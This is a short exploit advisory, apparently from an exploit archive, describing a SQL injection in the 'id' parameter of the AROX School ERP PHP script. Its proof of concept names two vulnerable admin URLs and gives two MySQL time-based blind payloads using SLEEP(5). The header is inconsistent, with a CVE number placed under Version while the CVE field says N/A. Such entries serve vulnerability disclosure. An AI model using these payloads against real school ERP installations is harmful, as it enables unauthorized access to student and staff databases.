AROX School ERP PHP Script - 'id' SQL Injection

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# Exploit Title: AROX School ERP PHP Script - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://arox.in/
# Software Link: https://www.codester.com/items/4908/arox-school-erp-php-script
# Demo: http://erp1.arox.in/
# Version: CVE-2017-15978
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
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# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/office_admin/?pid=95&action=print_charactercertificate&id=[SQL]
# http://localhost/[PATH]/office_admin/?pid=95&action=edit&id=3[SQL]
# 
# Parameter: id (GET)
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: pid=95&action=print_charactercertificate&id=3 AND SLEEP(5)
# 
# Parameter: id (GET)
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: pid=95&action=edit&id=3 AND SLEEP(5)
# 
# Etc..
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